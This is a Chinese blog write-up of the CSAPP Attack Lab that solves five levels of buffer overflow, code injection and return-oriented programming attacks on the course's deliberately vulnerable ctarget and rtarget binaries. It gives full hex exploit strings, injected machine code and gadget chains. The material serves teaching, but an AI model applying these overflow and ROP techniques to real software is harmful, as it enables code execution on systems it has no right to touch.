CSAPP:Attack Lab —— 缓冲区溢出攻击实验

CSAPP:Attack Lab —— 缓冲区溢出攻击实验CSAPP:AttackLab——缓冲区溢出攻击实验X86-64寄存器和栈帧PartI:CodeInjectionAttacksPartII:Return-OrientedProgrammingAttacks

大家好,又见面了,我是你们的朋友全栈君。

Warm-up

X86-64寄存器和栈帧

X86-64有16个64位寄存器 :

-%rax 作为函数返回值使用。
– %rsp 栈指针寄存器,指向栈顶。
– %rdi,%rsi,%rdx,%rcx,%r8,%r9 用作函数参数,依次对应第1参数,第2参数……
– %rbx,%rbp,%r12,%r13,%14,%15 用作数据存储,遵循被调用者使用规则。
– %r10,%r11 用作数据存储,遵循调用者使用规则。

程序可以用栈来管理它的过程所需要的存储空间,栈和程序寄存器存放着传递控制和数据、分配内存所需要的信息。
当过程需要的存储空间超出寄存器能够存放的大小时,就会在栈上分配空间,这个部分称为过程的栈帧。
栈帧
将控制从函数P转移到函数Q只需要简单地把程序计数器设置为Q的代码的起始位置,当稍后从Q返回时,处理器必须记录好它需要继续P的执行的代码位置。
在x86-64机器中,call Q指令会把返回地址即紧跟在call指令后的那条指令的地址压入栈中,并将程序计数器设置为Q的起始地址;对应的ret指令会从栈中弹出返回地址,并把程序计数器设置为该返回地址。

实验目的

本实验要求在两个有着不同安全漏洞的程序上实现五种攻击。

通过完成本实验达到:
– 深入理解当程序没有对缓冲区溢出做足够防范时,攻击者可能会如何利用这些安全漏洞。
– 深入理解x86-64机器代码的栈和参数传递机制。
– 深入理解x86-64指令的编码方式。
– 熟练使用gdb和objdump等调试工具。
– 更好地理解写出安全的程序的重要性,了解到一些编译器和操作系统提供的帮助改善程序安全性的特性。

文件说明

ctarget:一个容易遭受code injection攻击的可执行程序。
rtarget:一个容易遭受return-oriented programming攻击的可执行程序。
cookie.txt:一个8位的十六进制码,用于验证身份的唯一标识符。
farm.c:目标“gadget farm”的源代码,用于产生return-oriented programming攻击。
hex2raw:一个生成攻击字符串的工具。

unsigned getbuf()
{
    char buf[BUFFER_SIZE];
    Gets(buf);
    return 1;
}

函数Gets()类似于标准库函数gets(),从标准输入读入一个字符串,将字符串(带null结束符)存储在指定的目的地址。二者都只会简单地拷贝字节序列,无法确定目标缓冲区是否足够大以存储下读入的字符串,因此可能会超出目标地址处分配的存储空间。
字符串不能包含字节值0x0a,这是换行符'\n'的ASCII码,Gets()遇到这个字节时会认为意在结束该字符串。

输入正常长度的字符串
未超出缓冲区大小,正常返回1。

输入过长长度的字符串
超出缓冲区大小通常会导致程序状态被破坏,引起内存访问错误。

实验辅助

  • hex2raw的使用说明

    要求输入是一个十六进制格式的字符串,用两个十六进制数字表示一个字节值,字节值之间以空白符(空格或新行)分隔,注意使用小端法字节序。

    将攻击字符串存入文件中,如attack.txt,然后用下述方法调用:
    1.cat attack.txt | ./hex2raw | ./ctarget
    2../hex2raw <attack.txt> attackraw.txt
    ./ctarget < attackraw.txt./ctarget -i attackraw.txt
    3.结合gdb使用
    ./hex2raw <attack.txt> attackraw.txt
    gdb ctarget
    (gdb) run < attackraw.txt(gdb) run -i attackraw.txt

  • 生成字节代码操作
    编写一个汇编文件:
    vim attack.s
    汇编和反汇编此文件:
    gcc -c attack.s
    objdump -d attack.o > attack.d
    由此推出这段代码的字节序列。

  • 涉及的gdb命令

    (gdb) r run的简写,运行被调试的程序。若有断点,则程序暂停在第一个可用断点处。
    (gdb) c continue的简写,继续执行被调试程序,直至下一个断点或程序结束。
    (gdb) print <指定变量> 显示指定变量的值。
    (gdb) break *<代码地址> 设置断点。
    (gdb) x/<n/f/u> <addr> examine的简写,查看内存地址中的值。

* (gdb) x/< n/f/u > < addr > 的具体用法:
n、f、u是可选的参数。

-n是一个正整数,表示需要显示的内存单元的个数。
– f 表示显示的格式。s表示地址所指的是字符串,i表示地址是指令地址。
– u表示从当前地址往后请求的字节数,如果不指定的话,默认是4字节。b表示单字节,h表示双字节,w表示四字节,g表示八字节。
– < addr >表示一个内存地址。


Part I

Code Injection Attacks
程序被设置成栈的位置每次执行都一样,因此栈上的数据就可以等效于可执行代码,使得程序更容易遭受包含可执行代码字节编码的攻击字符串的攻击。

-Level 1

函数test调用了函数getbufgetbuf执行返回语句时,程序会继续执行test函数中的语句。

void test() 
{
    int val;
    val = getbuf();
    printf("NO explit. Getbuf returned 0x%x\n", val);
}

而我们要改变这个行为,使 getbuf返回的时候,执行 touch1而不是返回 test

void touch1() 
{
    vlevel = 1;
    printf("Touch!: You called touch1()\n");   
    validate(1);
    exit(0);
}

touch1看出我们不需要注入新的代码,只需要用攻击字符串指引程序执行一个已经存在的函数,也就是使getbuf结尾处的ret指令将控制转移到touch1

0000000000401825 <getbuf>:
  401825:   48 83 ec 38             sub    $0x38,%rsp           
  401829:   48 89 e7                mov    %rsp,%rdi
  40182c:   e8 7f 02 00 00          callq  401ab0 <Gets>
  401831:   b8 01 00 00 00          mov    $0x1,%eax              
  401836:   48 83 c4 38             add    $0x38,%rsp
  40183a:   c3   

sub $0x38,%rsp这条指令可以得到getbuf创建的缓冲区大小为0x38字节即56字节。

000000000040183b <touch1>:
  40183b:   48 83 ec 08             sub    $0x8,%rsp
  40183f:   c7 05 b3 2c 20 00 01    movl   $0x1,0x202cb3(%rip)        # 6044fc <vlevel>
  401846:   00 00 00 
  401849:   bf dd 30 40 00          mov    $0x4030dd,%edi
  40184e:   e8 0d f4 ff ff          callq  400c60 <puts@plt>
  401853:   bf 01 00 00 00          mov    $0x1,%edi
  401858:   e8 a9 04 00 00          callq  401d06 <validate>
  40185d:   bf 00 00 00 00          mov    $0x0,%edi
  401862:   e8 79 f5 ff ff          callq  400de0 <exit@plt>

从这里可以看出,touch1函数的起始地址为0x40183b
要使getbuf结尾处的ret指令将控制转移到touch1,我们只需利用缓冲区溢出将返回地址修改为touch1的起始地址。

我们的攻击字符串就诞生了,不如把它命名为attack1.txt

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
//以上(任意字节除0x0a)填充满整个缓冲区(56字节)以致溢出。
3b 18 40 00 00 00 00 00  
//用函数touch1的起始地址覆盖掉原先的返回地址(注意字节顺序)。

调用hex2raw并执行ctarget
./hex2raw < attack1.txt > attackraw1.txt
./ctarget -i attackraw1.txt

Level 1

-Level 2

void touch2(unsigned val)
{
    vlevel = 2;
    if (val == cookie){
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    }else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}

getbuf函数返回的时候,执行 touch2而不是返回 test。不同的是,我们需要注入新的代码,并且必须让touch2以为它接收到的参数是自己的 cookie,即0x73fb1600


0000000000401867 <touch2>:
  401867:   48 83 ec 08             sub    $0x8,%rsp                    
  40186b:   89 fa                   mov    %edi,%edx
  40186d:   c7 05 85 2c 20 00 02    movl   $0x2,0x202c85(%rip)        # 6044fc <vlevel>
  401874:   00 00 00 
  401877:   3b 3d 87 2c 20 00       cmp    0x202c87(%rip),%edi        # 604504 <cookie>  
  40187d:   75 20                   jne    40189f <touch2+0x38>                           
  40187f:   be 00 31 40 00          mov    $0x403100,%esi
  401884:   bf 01 00 00 00          mov    $0x1,%edi
  401889:   b8 00 00 00 00          mov    $0x0,%eax
  40188e:   e8 0d f5 ff ff          callq  400da0 <__printf_chk@plt>
  401893:   bf 02 00 00 00          mov    $0x2,%edi
  401898:   e8 69 04 00 00          callq  401d06 <validate>
  40189d:   eb 1e                   jmp    4018bd <touch2+0x56>
  40189f:   be 28 31 40 00          mov    $0x403128,%esi
  4018a4:   bf 01 00 00 00          mov    $0x1,%edi
  4018a9:   b8 00 00 00 00          mov    $0x0,%eax
  4018ae:   e8 ed f4 ff ff          callq  400da0 <__printf_chk@plt>
  4018b3:   bf 02 00 00 00          mov    $0x2,%edi
  4018b8:   e8 0b 05 00 00          callq  401dc8 <fail>
  4018bd:   bf 00 00 00 00          mov    $0x0,%edi
  4018c2:   e8 19 f5 ff ff          callq  400de0 <exit@plt>

从这里可以看出,touch2函数的起始地址为0x401867
touch2的参数 val 存储于寄存器 %rdi ,我们要做的就是先跳转到一个地方执行一段代码,这段代码能够将寄存器 %rdi 的值设置为cookie,然后再跳转到 touch2执行。

这就是我们要注入的指令代码:

mov    $0x73fb1600,%rdi
pushq  $0x401867
ret

汇编和反汇编得到:

0000000000000000 <.text>:
   0:   48 c7 c7 00 16 fb 73    mov    $0x73fb1600,%rdi
   7:   68 67 18 40 00          pushq  $0x401867
   c:   c3                      retq  

于是我们要注入的代码字符串为48 c7 c7 00 16 fb 73 68 67 18 40 00 c3

和Level 1 类似,利用缓冲区溢出将返回地址修改为这段代码的起始地址,就能让程序执行我们注入的这段代码。
内存中存储这段代码的地方便是 getbuf开辟的缓冲区,我们利用gdb查看此时缓冲区的起始地址。

getbuf调用函数Gets开辟缓冲区,那我们就来看看调用完后缓冲区的位置。
查看缓冲区位置
可见此时缓冲区的起始地址为0x55674e78

那么最后的攻击字符串是这样子的:

48 c7 c7 00 16 fb 73 68 
67 18 40 00 c3 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
//以上包含注入代码填充满整个缓冲区(56字节)以致溢出。
78 4e 67 55 00 00 00 00
//用缓冲区的起始地址覆盖掉原先的返回地址(注意字节顺序)。

同样地,调用hex2raw并执行ctarget
Level 2

-Level 3

int hexmatch(unsigned val, char *sval)
{
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval)
{
    vlevel = 3;
    if (hexmatch(cookie, sval)){
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}

getbuf函数返回的时候,执行 touch3而不是返回 test。从touch3可以看出我们需要注入新的代码,并且必须让touch3以为它接收到的参数是自己的 cookie的字符串表示。

和Level 2的区别在于,我们要将寄存器%rdi设置为cookie字符串的指针即存储cookie字符串的地址。

man ascii指令可以对照着找到cookie的字符的字节表示。
0x73fb160037 33 66 62 31 36 30 30

0000000000401975 <touch3>:
  401975:   53                      push   %rbx
  401976:   48 89 fb                mov    %rdi,%rbx
  401979:   c7 05 79 2b 20 00 03    movl   $0x3,0x202b79(%rip)        # 6044fc <vlevel>
  401980:   00 00 00 
  401983:   48 89 fe                mov    %rdi,%rsi
  401986:   8b 3d 78 2b 20 00       mov    0x202b78(%rip),%edi        # 604504 <cookie>
  40198c:   e8 36 ff ff ff          callq  4018c7 <hexmatch>
  401991:   85 c0                   test   %eax,%eax                  
  401993:   74 23                   je     4019b8 <touch3+0x43>
  401995:   48 89 da                mov    %rbx,%rdx
  401998:   be 50 31 40 00          mov    $0x403150,%esi             
  40199d:   bf 01 00 00 00          mov    $0x1,%edi
  4019a2:   b8 00 00 00 00          mov    $0x0,%eax
  4019a7:   e8 f4 f3 ff ff          callq  400da0 <__printf_chk@plt>
  4019ac:   bf 03 00 00 00          mov    $0x3,%edi
  4019b1:   e8 50 03 00 00          callq  401d06 <validate>
  4019b6:   eb 21                   jmp    4019d9 <touch3+0x64>
  4019b8:   48 89 da                mov    %rbx,%rdx
  4019bb:   be 78 31 40 00          mov    $0x403178,%esi          
  4019c0:   bf 01 00 00 00          mov    $0x1,%edi
  4019c5:   b8 00 00 00 00          mov    $0x0,%eax
  4019ca:   e8 d1 f3 ff ff          callq  400da0 <__printf_chk@plt>
  4019cf:   bf 03 00 00 00          mov    $0x3,%edi
  4019d4:   e8 ef 03 00 00          callq  401dc8 <fail>
  4019d9:   bf 00 00 00 00          mov    $0x0,%edi
  4019de:   e8 fd f3 ff ff          callq  400de0 <exit@plt>

从这里可以看出,touch3函数的起始地址为0x401975
touch3中调用 hexmatch以及其中的strncmp函数时,会将数据压入栈中,覆盖getbuf使用的缓冲区的内存。因此,我们需要看看调用 hexmatch之前和之后缓冲区分别是什么样子的,才能确定把我们的cookie字符串放在合适的位置从而不会被改变。

类似Level 1的攻击字符串,我们先写一个能够进入到touch3以便查看缓冲区的字符串。

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
//以上(任意字节除0x0a)填充满整个缓冲区(56字节)以致溢出。
75 19 40 00 00 00 00 00  
//用函数touch3的起始地址覆盖掉原先的返回地址(注意字节顺序)。

然后结合gdb执行ctarget进入touch3并分别在调用hexmatch前后设置断点看看缓冲区。
查看缓冲区

查看缓冲区
可以看出缓冲区的 56 个字节里,0x55674e78~0x55674e87这16个字节用来存储我们的注入代码,
0x55674e88~0x55674eaf这40个字节内并没有连续的 8 个没有被覆盖的字节。
在缓冲区外,0x55674eb0~0x55674eb7这8个字节用来存储返回地址即缓冲区起始地址0x55674e78, 幸运地发现0x55674eb8~0x55674ebf这8个字节并没有发生变化,恰好可以用来存储我们的cookie字符串。

mov    $0x55674eb8,%rdi
pushq  $0x401975
ret

汇编和反汇编得到:

Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 b8 4e 67 55    mov    $0x55674eb8,%rdi
   7:   68 75 19 40 00          pushq  $0x401975
   c:   c3                      retq   

最后的攻击字符串是这样子的:

48 c7 c7 b8 4e 67 55 68 
75 19 40 00 c3 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
//以上包含注入代码填充满整个缓冲区(56字节)以致溢出。
78 4e 67 55 00 00 00 00
//用缓冲区的起始地址覆盖掉原先的返回地址(注意字节顺序)。
37 33 66 62 31 36 30 30
//cookie字符串的字节表示。

然后又看到令人开心的结果啦:
Level 3


Part II

Return-Oriented Programming Attacks
采用以下两种技术对抗攻击:
-随机化,每次运行栈的位置都不同,所以无法决定注入代码应放位置。
-将保存栈的内存区域设置为不可执行,所以即使能够把注入的代码的起始地址放入程序计数器中,程序也会报段错误失败。

可以通过现有程序中的代码而不是注入新的代码来实现攻击。

使用gadget farm里的gadget来攻击rtarget程序。每条指令最后跟着 ret,就能从一个 gadget 跳转到另一个 gadget 中,从而实现我们需要的操作。

  • 指令的字节编码(所有的值均为十六进制)

movq
popq、movl
2-byte functional nop

注意:

nop是一个空操作,只是让程序计数器加一,该指令编码为0x90
-2字节指令可以作为有功能的nop,不改变任何寄存器或内存的值。

  • gadget farm中找出指令(‘指令编码’)
0000000000401a0c <start_farm>:
  401a0c:   b8 01 00 00 00          mov    $0x1,%eax
  401a11:   c3                      retq   

0000000000401a12 <setval_263>:
  401a12:   c7 07 48 89 c7 91       movl   $0x91c78948,(%rdi)                    
  401a18:   c3                      retq   

0000000000401a19 <getval_153>:
  401a19:   b8 f8 48 89 c7          mov    $0xc78948f8,%eax                      
  401a1e:   c3                      retq   

0000000000401a1f <getval_438>:
  401a1f:   b8 48 09 c7 c3          mov    $0xc3c70948,%eax
  401a24:   c3                      retq   

0000000000401a25 <getval_146>:
  401a25:   b8 cd 23 50 90          mov    $0x905023cd,%eax
  401a2a:   c3                      retq   

0000000000401a2b <setval_278>:
  401a2b:   c7 07 `58 90 90 c3`     movl   $0xc3909058,(%rdi)            popq  %rax      
  401a31:   c3                      retq   

0000000000401a32 <setval_148>:
  401a32:   c7 07 58 90 90 90       movl   $0x90909058,(%rdi)            
  401a38:   c3                      retq   

0000000000401a39 <getval_294>:
  401a39:   b8 a4  94 90            mov    $0x909458a4,%eax
  401a3e:   c3                      retq   

0000000000401a3f <setval_161>:
  401a3f:   c7 07 `48 89 c7 c3`     movl   $0xc3c78948,(%rdi)           mov  %rax,%rdi             
  401a45:   c3                      retq   

0000000000401a46 <mid_farm>:
  401a46:   b8 01 00 00 00          mov    $0x1,%eax
  401a4b:   c3                      retq   

0000000000401a4c <add_xy>:
  401a4c:   `48 8d 04 37`           lea    (%rdi,%rsi,1),%rax            lea    (%rdi,%rsi,1),%rax     
  401a50:   `c3`                    retq   

0000000000401a51 <setval_329>:
  401a51:   c7 07 `89 c2 38 c0`     movl   $0xc038c289,(%rdi)            movl  %eax,%edx   
  401a57:   `c3`                    retq   

0000000000401a58 <setval_397>:
  401a58:   c7 07 89 d1 28 c9       movl   $0xc928d189,(%rdi)
  401a5e:   c3                      retq   

0000000000401a5f <setval_178>:
  401a5f:   c7 07 89 ce c2 b2       movl   $0xb2c2ce89,(%rdi)
  401a65:   c3                      retq   

0000000000401a66 <getval_103>:
  401a66:   b8 89 ce 00 d2          mov    $0xd200ce89,%eax
  401a6b:   c3                      retq   

0000000000401a6c <setval_332>:
  401a6c:   c7 07 81 ce 20 d2       movl   $0xd220ce81,(%rdi)
  401a72:   c3                      retq   

0000000000401a73 <setval_376>:
  401a73:   c7 07 48 89 e0 91       movl   $0x91e08948,(%rdi)            
  401a79:   c3                      retq   

0000000000401a7a <setval_143>:
  401a7a:   c7 07 c9 d1 08 db       movl   $0xdb08d1c9,(%rdi)
  401a80:   c3                      retq   

0000000000401a81 <getval_149>:
  401a81:   b8 99 c2 08 db          mov    $0xdb08c299,%eax
  401a86:   c3                      retq   

0000000000401a87 <addval_461>:
  401a87:   8d 87 8b d1 84 db       lea    -0x247b2e75(%rdi),%eax
  401a8d:   c3                      retq   

0000000000401a8e <addval_271>:
  401a8e:   8d 87 48 81 e0 c3       lea    -0x3c1f7eb8(%rdi),%eax
  401a94:   c3                      retq   

0000000000401a95 <getval_459>:
  401a95:   b8 89 c2 c4 c0          mov    $0xc0c4c289,%eax
  401a9a:   c3                      retq   

0000000000401a9b <getval_385>:
  401a9b:   b8 89 c2 18 d2          mov    $0xd218c289,%eax
  401aa0:   c3                      retq   

0000000000401aa1 <addval_462>:
  401aa1:   8d 87 8b ce 08 c9       lea    -0x36f73175(%rdi),%eax
  401aa7:   c3                      retq   

0000000000401aa8 <getval_150>:
  401aa8:   b8 `89 d1 20 c9`        mov    $0xc920d189,%eax             movl  %edx,%ecx     
  401aad:   `c3`                    retq   

0000000000401aae <setval_236>:
  401aae:   c7 07 `89 c2 20 d2`     movl   $0xd220c289,(%rdi)           movl  %eax,%edx
  401ab4:   `c3`                    retq   

0000000000401ab5 <addval_165>:
  401ab5:   8d 87 `48 89 e0 90`     lea    -0x6f1f76b8(%rdi),%eax       mov  %rsp,%rax    
  401abb:   `c3`                    retq   

0000000000401abc <addval_285>:
  401abc:   8d 87 ce 89 d1 c2       lea    -0x3d2e7632(%rdi),%eax
  401ac2:   c3                      retq   

0000000000401ac3 <getval_212>:
  401ac3:   b8 81 c2 90 90          mov    $0x9090c281,%eax
  401ac8:   c3                      retq   

0000000000401ac9 <getval_112>:
  401ac9:   b8 `89 ce 08 c0`        mov    $0xc008ce89,%eax             movl  %ecx,%esi    
  401ace:   `c3`                    retq   

0000000000401acf <getval_191>:
  401acf:   b8 f7 48 88 e0          mov    $0xe08848f7,%eax
  401ad4:   c3                      retq   

0000000000401ad5 <getval_309>:
  401ad5:   b8 48 89 e0 c7          mov    $0xc7e08948,%eax
  401ada:   c3                      retq   

0000000000401adb <addval_111>:
  401adb:   8d 87 48 89 e0 c1       lea    -0x3e1f76b8(%rdi),%eax
  401ae1:   c3                      retq   

0000000000401ae2 <addval_133>:
  401ae2:   8d 87 89 c2 94 db       lea    -0x246b3d77(%rdi),%eax
  401ae8:   c3                      retq   

0000000000401ae9 <getval_260>:
  401ae9:   b8 89 ce c7 93          mov    $0x93c7ce89,%eax
  401aee:   c3                      retq   

0000000000401aef <setval_454>:
  401aef:   c7 07 89 ce 90 c3       movl   $0xc390ce89,(%rdi)
  401af5:   c3                      retq   

0000000000401af6 <setval_496>:
  401af6:   c7 07 08 89 e0 c3       movl   $0xc3e08908,(%rdi)
  401afc:   c3                      retq   

0000000000401afd <addval_330>:
  401afd:   8d 87 70 89 ce 91       lea    -0x6e317690(%rdi),%eax
  401b03:   c3                      retq   

0000000000401b04 <setval_437>:
  401b04:   c7 07 48 89 e0 90       movl   $0x90e08948,(%rdi)            
  401b0a:   c3                      retq   

0000000000401b0b <getval_472>:
  401b0b:   b8 8d c2 90 c3          mov    $0xc390c28d,%eax
  401b10:   c3                      retq   

0000000000401b11 <addval_245>:
  401b11:   8d 87 `89 d1 08 db`     lea    -0x24f72e77(%rdi),%eax        movl  %edx,%ecx   
  401b17:   `c3`                    retq   

0000000000401b18 <addval_127>:
  401b18:   8d 87 89 d1 94 90       lea    -0x6f6b2e77(%rdi),%eax
  401b1e:   c3                      retq   

0000000000401b1f <setval_478>:
  401b1f:   c7 07 89 d1 c4 d2       movl   $0xd2c4d189,(%rdi)
  401b25:   c3                      retq   

0000000000401b26 <end_farm>:
  401b26:   b8 01 00 00 00          mov    $0x1,%eax
  401b2b:   c3                      retq   
  401b2c:   0f 1f 40 00             nopl   0x0(%rax)
  • gadget farm中的所有满足条件的gadget

    起始地址 ——— 指令编号 ———- 指令
    0x401a2d58 (90 90) c3popq %rax
    0x401a4148 89 c7 c3mov %rax,%rdi
    0x401a4c48 8d 04 37 c3lea (%rdi,%rsi,1),%rax
    0x401a5389 c2 (38 c0) c3movl %eax,%edx
    0x401aa989 d1 (20 c9) c3movl %edx,%ecx
    0x401ab089 c2 (20 d2) c3movl %eax,%edx
    0x401ab748 89 e0 (90) c3mov %rsp,%rax
    0x401aca89 ce (08 c0) c3movl %ecx,%esi
    0x401b1389 d1 (08 db) c3movl %edx,%ecx
    括号内的指令编码为nop或2字节指令,并不影响。

-Level 4

Tips:

  1. 只能使用movqpopqretnopgadget
  2. 只能使用前八个x86-64寄存器。
  3. 只能用两个gadget实现此次攻击。
  4. 如果一个gadget使用了popq指令,那么它会从栈中弹出数据。这样一来,攻击代码能既包含gadget的地址也包含数据。

和Level 2思路一致,我们需要将将寄存器%rdi的值设置为cookie
在上面找到的满足条件的gadget中可以凑出能够实现攻击的指令。
先将寄存器%rax的值设置为cookie,然后复制给%rdi

popq     %rax
ret                  
mov      %rax,%rdi
ret

于是攻击字符串就出来了:

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00  //以上(任意字节除0x0a)填充满整个缓冲区(56字节)以致溢出。
2d 1a 40 00 00 00 00 00  //用gadget1的起始地址覆盖掉原先的返回地址。
00 16 fb 73 00 00 00 00     //cookie
41 1a 40 00 00 00 00 00     //gadget2的起始地址
67 18 40 00 00 00 00 00     //touch2 的起始地址

然后期待结果:
Level 4

-Level 5

Tips:

  1. 允许使用函数start_farmend_farm之间的所有gadget
  2. 可以使用movqpopqretnopmovl指令,以及2字节指令。
  3. 只能使用前八个x86-64寄存器。
  4. 至少需要8个gadget实现此次攻击。

和Level 3思路一致,将寄存器%rdi的值设置为cookie字符串的指针即存储cookie字符串的地址。

在上面找到的满足条件的gadget中可以凑出能够实现攻击的指令。
先把%rsp存储的栈顶指针值复制给%rdi, 再将%eax的值设置为cookie字符串地址在栈中的偏移量并复制给%esi,最后将二者相加即为cookie字符串的存储地址。

mov   %rsp,%rax
ret
mov   %rax,%rdi
ret
popq  %rax         
ret                 
movl  %eax,%edx
ret
movl  %edx,%ecx
ret
movl  %ecx,%esi
ret
lea   (%rdi,%rsi,1),%rax
ret
mov   %rax,%rdi
ret

当指令指到ret指令行时,说明一个函数已经结束了,这时候%rsp已经从被调用函数的栈指到了调用函数构建的返回地址位置。
所以当执行第一条指令时,%rsp指向当前栈顶即存储下一条指令的地址,而后面的指令执行完后最终不会使该%rsp值改变。
在第一条指令之后即从第二条指令开始,cookie字符串之前还有有9条指令,共占有72个字节即0x48字节,此即cookie字符串的地址在栈中的偏移量。

于是攻击字符串长成这样:

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00  //以上(任意字节除0x0a)填充满整个缓冲区(56字节)以致溢出。
b7 1a 40 00 00 00 00 00  //用gadget1的起始地址覆盖掉原先的返回地址。
41 1a 40 00 00 00 00 00  //gadget2的起始地址。
2d 1a 40 00 00 00 00 00  //gadget3的起始地址。
48 00 00 00 00 00 00 00  //cookie字符串地址在栈中的偏移量。
53 1a 40 00 00 00 00 00  //gadget4的起始地址。
a9 1a 40 00 00 00 00 00  //gadget5的起始地址。
ca 1a 40 00 00 00 00 00  //gadget6的起始地址。
4c 1a 40 00 00 00 00 00  //gadget7的起始地址。
41 1a 40 00 00 00 00 00  //gadget8的起始地址。
75 19 40 00 00 00 00 00  //touch3 的起始地址。
37 33 66 62 31 36 30 30  //cookie字符串的字节表示。

最后的结果:
Level 5

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/158224.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 什么是JavaBean、bean? 什么是POJO、PO、DTO、VO、BO ? 什么是EJB、EntityBean?

    什么是JavaBean、bean? 什么是POJO、PO、DTO、VO、BO ? 什么是EJB、EntityBean?前言:在Java开发中经常遇到这些概念问题,有的可能理解混淆,有的可能理解不到位,特此花了很多时间理顺了这些概念。不过有些概念实际开发中并没有使用到,可能理解还不够准确,只能靠后续不断纠正了。1、什么是POJO?POJO(PlainOldJavaObject)这种叫法是MartinFowler、RebeccaParsons和JoshMacKenzie在2000年的一…

    2022年5月28日
    67
  • 【leetcode】Linked List Cycle

    【leetcode】Linked List Cycle

    2022年1月9日
    36
  • ace.js实现一个在线代码编辑器[通俗易懂]

    ace.js实现一个在线代码编辑器[通俗易懂]TableofContents背景ACE简介:功能实现1、引入js2、初始化组件3、保存时代码语法检测4、效果图:5、遇到的一些问题:背景项目需要,在一些场景,用户需要手动编写一些js脚本来实现自己的功能;前期一直用文本框显示,不便于编辑和查看。因此需要引入一个在线代码编辑器。效果如下:ACE简介:ACE是一个开源的、独立的、基于浏览器的代码编辑器,可以嵌入到任何web页面或JavaScript应用…

    2022年8月14日
    39
  • IntelliJ IDEA 整理代码格式 快捷键[通俗易懂]

    IntelliJ IDEA 整理代码格式 快捷键[通俗易懂]一、前言在开发的过程中,项目代码格式尤为重要,但是有些开发人员经常会不注意细节,导致代码阅读性很差,如下图所示:二、解决方案打开IDEA,按Ctrl+Alt+L键,进行整理代码格式,可以看到代码已经进行整理PS:如果和qq热键冲突的话,需要先将qq的热键Ctrl+Alt+L设置为无,如下图所示:…

    2022年10月12日
    3
  • c程序中整形变量只能存放整数实型变量只能存放浮点数_c语言合法的实型常量

    c程序中整形变量只能存放整数实型变量只能存放浮点数_c语言合法的实型常量vb中,以下变量类型1,数字型变量(numeric)2,字符串型变量(string)3,日期型变量(date)4,对象型变量(object)5,变体型变量(variant)这几个vb变量类型中,最最主要的就是前面两个,数字型变量和字符串型变量.意思很简单,数字型可以用来存放数字,字符串型存放文本.下面就来详细介绍这几种变量.1.数字型数字型变量有多种类型,在咱们的vb里,有3中数字数据类型1;整形…

    2025年7月24日
    3
  • 【redis】一致性哈希算法

    【redis】一致性哈希算法前言这周复习redis,被集群和分布式搞得头大,也接触到一致性哈希算法,因此博主进行了一定得学习,故,写下这篇文章。一、普通哈希算法普通得哈希算法是对服务器得数量进行一定得取模预算得出,常见得公式如下:index=hash(key)%NN就是服务器得数量。我们可以想象到,如果服务器数量改变,那么index也会进行改变。例如:一台服务器宕机,服务里器的数据暂时丢失(系统会进行一定的备份,用户发送的请求经过哈希运算后,因为N的改变,会访问其他的服务器,但是该台服务器还没有拷贝过来宕机的数

    2022年7月27日
    9

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号